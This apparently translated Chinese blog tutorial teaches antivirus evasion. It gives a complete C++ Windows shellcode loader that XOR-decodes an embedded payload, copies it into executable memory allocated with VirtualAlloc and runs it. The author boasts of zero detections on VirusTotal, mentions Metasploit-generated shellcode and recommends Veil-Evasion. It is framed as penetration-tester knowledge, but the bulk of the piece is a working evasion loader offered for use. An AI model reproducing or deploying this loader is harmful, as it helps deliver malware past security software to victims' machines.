如何利用十行代碼,繞過殺毒軟件實(shí)現(xiàn)免殺?
我原本打算寫一篇冗長的博客講述針對不同殺毒軟件的繞過技術(shù),但當(dāng)我開始著手寫教程的***章并上傳樣本到 virustotal 后,我震驚了!樣本得到了 0/56 的檢測率。于是我決定扔掉先前的長篇大論,轉(zhuǎn)而記錄這個(gè)快速、令人難以置信的簡單方法。
我相信大部分的讀者都會(huì)同意這個(gè)觀點(diǎn),繞過大部分殺毒軟件的基本方法都很平常沒什么特殊的。然而,我也偶爾會(huì)遇到一些人僅僅依靠工具生成二進(jìn)制文件,這些文件很容易被殺毒軟件通過指紋標(biāo)記出來。本文主要是為這些人所準(zhǔn)備的。
在我們開始接觸這段小巧的 C++ 代碼前,我想先介紹一個(gè)可以非常棒的制造免殺的工具 Veil-Evasion (Veil-Framework的一部分)。這個(gè)工具非常神奇 (感謝 @harmj0y和他的小伙伴們創(chuàng)建了這個(gè)神奇的項(xiàng)目),在幾乎所有情況下,它都沒有讓我失望過。如果有,那我就要批評那些總是不停生成二進(jìn)制文件然后上傳到 virustotal 進(jìn)行測試的人。如果你不這么做,那就會(huì)更加美好了。
無論如何,這就引出了一個(gè)問題,既然像 Veil-Evasion 這類的工具這么神奇,那為什么你要關(guān)心如何自己在二進(jìn)制文件加入 shellcode?原因有很多:
大牛都很忙而且工具有些過時(shí)。
工具生成的二進(jìn)制都擁有相似的指紋,不是指 payload,而是說工具編譯二進(jìn)制的結(jié)構(gòu)有相似的指紋。
作為一個(gè)滲透測試工作者,你應(yīng)當(dāng)知道如何做。
在你看下面的代碼前,你應(yīng)該注意到這是針對 Windows 平臺的,很明顯代碼中有 windows.h 的引用。
- #include <windows.h>
- #include <iostream>
- int main(int argc, char **argv) {
- char b[] = {/* 插入你經(jīng)過與'x'異或操作后的shellcode代碼,例如:0x4C,0x4F, 0x4C */};
- char c[sizeof b];
- for (int i = 0; i < sizeof b; i++) {c[i] = b[i] ^ 'x';}
- void *exec = VirtualAlloc(0, sizeof c, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
- memcpy(exec, c, sizeof c);
- ((void(*)())exec)();
- }
很簡單,上面的代碼創(chuàng)建了一個(gè)可以自行添加包含 shellcode 的字符數(shù)組,關(guān)鍵點(diǎn)在于將你的 shellcode 與小寫字母 ‘x’ 執(zhí)行異或操作,然后分配一些內(nèi)存,拷貝字符數(shù)組到分配的內(nèi)存中,***執(zhí)行它。需要特別注意的是,你要先將 shellcode 與你選擇的關(guān)鍵字(本例中為 ‘x’)進(jìn)行異或操作,然后將 shellcode 放入到上面代碼中并編譯。
這時(shí)你可能會(huì)問“就這樣?”。我了解你的感受,因?yàn)楫?dāng)時(shí)我也是這么想的,在寫完***章內(nèi)容并上傳樣本到 virustotal 后并收到 0/56 的檢測率。我想強(qiáng)調(diào)這是一個(gè)令人難以置信的簡單和基礎(chǔ)的技術(shù),但它成功率卻出奇的高。
你生成二進(jìn)制文件的 SHA256 值可能跟我樣本的不太一樣,我樣本中包含的 shellcode 是由 metasploit framework 生成的。